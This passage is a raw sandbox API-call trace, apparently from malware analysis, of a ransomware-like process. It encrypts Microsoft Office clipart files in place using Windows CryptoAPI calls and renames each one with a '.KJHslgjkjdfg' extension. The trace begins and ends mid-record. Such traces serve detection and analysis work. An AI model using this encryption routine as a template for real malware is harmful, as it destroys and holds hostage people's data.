ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0154.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.073] GetProcessHeap () returned 0x2a0000 [0154.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.073] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.073] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.073] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0154.078] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.078] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.078] GetProcessHeap () returned 0x2a0000 [0154.078] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.078] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.078] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.078] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.079] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.079] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.079] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.079] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.079] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.079] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.079] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.079] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.079] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1204, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1204, lpOverlapped=0x0) returned 1 [0154.080] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1210, dwBufLen=0x1210 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1210) returned 1 [0154.080] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.081] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1210, lpOverlapped=0x0) returned 1 [0154.081] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.081] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x12e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.081] SetEndOfFile (hFile=0x114) returned 1 [0154.084] GetProcessHeap () returned 0x2a0000 [0154.084] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.084] GetProcessHeap () returned 0x2a0000 [0154.084] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.084] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.kjhslgjkjdfg")) returned 1 [0154.085] CloseHandle (hObject=0x114) returned 1 [0154.086] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0154.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.086] GetProcessHeap () returned 0x2a0000 [0154.086] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.086] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.087] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.089] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.089] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.089] GetProcessHeap () returned 0x2a0000 [0154.089] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.089] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.090] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.090] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.090] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.090] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.090] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.090] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.090] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.090] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.090] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.090] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.090] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc48, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc48, lpOverlapped=0x0) returned 1 [0154.090] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc50, dwBufLen=0xc50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc50) returned 1 [0154.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.091] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc50, lpOverlapped=0x0) returned 1 [0154.091] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.091] SetEndOfFile (hFile=0x114) returned 1 [0154.094] GetProcessHeap () returned 0x2a0000 [0154.094] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.094] GetProcessHeap () returned 0x2a0000 [0154.094] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.kjhslgjkjdfg")) returned 1 [0154.096] CloseHandle (hObject=0x114) returned 1 [0154.096] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0154.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.098] GetProcessHeap () returned 0x2a0000 [0154.098] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.098] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.098] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.098] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0154.100] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.100] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.101] GetProcessHeap () returned 0x2a0000 [0154.101] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.101] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.101] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.101] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.101] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.101] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.101] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.101] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.101] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.101] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.101] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.101] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.102] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1df4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1df4, lpOverlapped=0x0) returned 1 [0154.102] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e00, dwBufLen=0x1e00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e00) returned 1 [0154.103] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.103] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1e00, lpOverlapped=0x0) returned 1 [0154.103] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.103] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.103] SetEndOfFile (hFile=0x114) returned 1 [0154.106] GetProcessHeap () returned 0x2a0000 [0154.106] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.106] GetProcessHeap () returned 0x2a0000 [0154.106] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.kjhslgjkjdfg")) returned 1 [0154.107] CloseHandle (hObject=0x114) returned 1 [0154.107] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0154.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.108] GetProcessHeap () returned 0x2a0000 [0154.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.108] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.108] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.108] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.111] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.111] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.111] GetProcessHeap () returned 0x2a0000 [0154.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.111] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.111] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.111] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.111] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.111] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.111] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.112] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.112] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.112] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.112] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x212c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x212c, lpOverlapped=0x0) returned 1 [0154.114] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2130, dwBufLen=0x2130 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2130) returned 1 [0154.114] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.114] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2130, lpOverlapped=0x0) returned 1 [0154.114] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.114] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.114] SetEndOfFile (hFile=0x114) returned 1 [0154.117] GetProcessHeap () returned 0x2a0000 [0154.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.117] GetProcessHeap () returned 0x2a0000 [0154.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.kjhslgjkjdfg")) returned 1 [0154.119] CloseHandle (hObject=0x114) returned 1 [0154.119] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0154.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.120] GetProcessHeap () returned 0x2a0000 [0154.120] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.120] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.120] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.120] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.123] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, 